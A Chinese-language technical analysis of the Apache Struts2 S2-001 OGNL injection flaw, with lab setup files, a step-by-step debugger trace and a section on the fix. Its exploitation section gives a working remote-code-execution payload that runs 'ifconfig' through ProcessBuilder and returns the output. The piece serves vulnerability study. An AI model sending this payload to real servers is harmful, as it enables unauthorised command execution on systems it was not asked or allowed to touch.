1.漏洞信息
官方链接:https://cwiki.apache.org/confluence/display/WW/S2-001
官方概述:Remote code exploit on form validation error
影响版本:WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8
修复摘要:数据 re-display 时禁止执行 OGNL 表达式
2.漏洞原理
Struts2框架表单的验证机制(Validation)主要依赖于两个拦截器:Validation
和workflow
,在默认配置下,如果用户所提交的表单验证出错不会跳转到新的页面,而是在后端OGNL表达式会解析处理传入字段的内容,从而执行payload。
3.环境搭建
下载 Struts2.0.1:http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip
3.1 目录结构
3.2 引用的包
- commons-logging-1.0.4.jar
- freemarker-2.3.4.jar
- ognl-2.6.7.jar
- struts2-api-2.0.1.jar
- struts2-core-2.0.1.jar
- xwork-2.0-beta-1.jar
3.3 相关文件
index.jsp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
welcome.jsp1
2
3
4
5
6
7
8
9
10
11
12
13<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
struts.xml1
2
3
4
5
6
7
8
9
10
11
12<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>
com.demo.action.LoginAction.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35package com.demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}
web.xml1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
4.漏洞分析
Struts2标签库提供了主题、模板支持,极大地简化了视图页面的编写。而且struts2的主题、模板都提供了很好的扩展性,实现了更好的代码复用。
Struts2允许在页面中使用自定义组件,这完全能满足项目中页面显示复杂,多变的需求。
使用struts2的标签的jsp页面,需要头声明:<%@ taglib prefix=”s” uri=”/struts-tags” %>
而在Struts2-core
核心包的META-INF/struts-tags.tld
中,里面定义了各个标签的属性以及处理类等内容
标签中的具体实现类struts2-core-2.0.1.jar!/org/apache/struts2/views/jsp/URLTag.class
,继承了ComponentTagSupport
类,里面包含了很多公共的属性,同时URLTag也定义了自己的属性,action,value,escapeAmp等,与配置文件相呼应。
而URL标签是依靠URLTag类实现的,它继承的ComponentTagSupport组件
其实标签实际上是继承了http servlet
中可扩展的StrutsBodyTagSupport
类。然后会依次执行以下方法:
doStartTag()
doEndTag()
回到struts.xml
文件中,params
拦截器是用于设置action上的请求参数,默认被调用的,拦截器主要作用是在调用action之前提供预处理逻辑。
所以我们进入到xwork-2.0.1.jar!com/opensymphony/xwork2/interceptor/ParametersInterceptor
中,如下图标记处所示,此处表示接受我们传入的参数值,并调用此方法,因此我们从此处打断点调试
执行到这里,跟进invocation.invoke()
会进入到xwork-2.0.1.jar!com/opensymphony/xwork2/DefaultActionInvocation
跟进executeResult()
经过多次步入,会步入到struts2-core-2.0.1.jar!org/apache/struts2/dispatcher/ServletDisatcherResult.class
继续跟进会来到struts2-core-2.0.1.jar!/org/apache/struts2/views/jsp/ComponentTagSupport.class
这里会对jsp标签<s:textfield name="username" label="username" />
进行解析,首先会执行doStartTag()
方法,其中getBean()
方法是获取到url组件,然后将组件插入到XWork容器中进行维护,populateParams()
是将获取url组件中的属性赋值,这一部分也是执行渲染ur前的准备工作,执行后回到index.jsp
。
当遇到闭合标签/>
后,会执行doEndTag()
,只有执行doEndTag()
后Payload才可以执行,这里主要执行组件的自定义方法为end
方法
跟进compoent.end
,这里主要是对url标签进行渲染
继续跟进evaluateParams()
,遍历标签的属性,获取标签的各项属性值。
继续执行,可以看到altSyntax()
,它是Struts 2 框架处理标签内容的一种语法,主要对标签中的 OGNL 表达式进行解析并执行。而altSyntax()
在处理标签时,对OGNL 表达式的解析能力实际上是依赖于开源组件XWork,如果altSyntax功能开启,在赋值时使用%{}
括起来,这个表达式就会求值
addParameter()
是查询并添加结果至参数列表,其中查询的语句是%{username}
继续跟进,会进入到struts2-core-2.0.1.jar!/org/apache/struts2/components/Component
的findValu()
方法,如果开启altSyntax()
会进入到TextParseUtil.translateVariables
对表达式进行解析
继续跟进TextParseUtil.translateVariables
,xwork-2.0.1.jar!/com/opensymphony/xwork2/util/TextParseUtil.class
往下执行可以看到,表达式为%{username}
经过while循环,确定start和end定位后,此时var
为username
,并赋值标签值o,进入OGNL表达式,再赋值给result
此时%{1+1}
就是我们传入的payloadxwork-2.0.1.jar!com/opensymphony/xwork2/util/OgnlValueStack.class
递归解析表达式,也就是说最终 Payload 将变为 1+1,进入 OGNL 最终得以执行!
5.漏洞利用
username=%{1+1}&password=sqyy
POC:1
username=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"ifconfig"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&password=sqyy
6.漏洞修复
在XWork 2.0.4com/opensymphony/xwork2/util/TextParseUtil.class
中,取消了对OGNL的递归解析